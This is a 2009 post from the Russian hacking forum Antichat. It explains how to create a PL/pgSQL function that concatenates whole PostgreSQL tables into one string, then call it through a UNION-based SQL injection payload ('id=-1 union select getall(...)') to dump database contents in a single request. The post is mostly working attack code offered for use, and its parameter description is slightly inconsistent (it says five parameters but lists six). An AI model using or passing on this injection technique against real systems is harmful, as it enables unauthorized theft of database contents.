
14.09.2009, 16:44
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
С нами:
10309346
Репутация:
4303
|
|
Прощай лимит
Если у нас установлен процедурный язык plpgsql
Код:
select lanname from pg_language where lanname='plpgsql'
Можно не замарачиваться с лимитом и вывести содержимое таблицы одним запросом
Для этого создаем функцию
Код:
CREATE OR REPLACE FUNCTION getall (text,text,text,text,text) RETURNS text AS $func$
DECLARE
schema ALIAS FOR $1;
table ALIAS FOR $2;
column1 ALIAS FOR $3;
column2 ALIAS FOR $4;
column3 ALIAS FOR $5;
count int;
i int;
temp text;
int_test text;
input_refc refcursor;
BEGIN
int_test := $qr$Result : $qr$;
OPEN input_refc FOR EXECUTE $qr$SELECT count($qr$ || quote_ident(column1) || $qr$) from $qr$ || quote_ident(schema) || $qr$.$qr$ || quote_ident(table);
FETCH input_refc into count;
CLOSE input_refc;
count := count - 1;
BEGIN
FOR i in 0..count LOOP
OPEN input_refc FOR EXECUTE $qr$SELECT $qr$ || quote_ident(column1) || $qr$||chr(58)||$qr$ || quote_ident(column2) || $qr$||chr(58)||$qr$ || quote_ident(column3) || $qr$||$sep$<BR>$sep$ FROM $qr$ || quote_ident(schema) || $qr$.$qr$ || quote_ident(table) || $qr$ LIMIT 1 OFFSET $qr$ || i;
FETCH input_refc into temp;
CLOSE input_refc;
int_test := int_test || temp;
END LOOP;
RETURN int_test;
END;
END;
$func$ LANGUAGE plpgsql;
Функция getall() получает 5 параметров
1 - имя базы
2 - имя таблицы
3,4,5,6 - имена колонок
Функция ориентирована на использование в конструкции Union, т.к разделителем выступает тег <br>
екземпл
id=-1 union select getall('information_schema','columns','column_name ','table_name','table_schema')
Последний раз редактировалось Spyder; 14.09.2009 в 16:45..
Причина: очепятка
|
|
|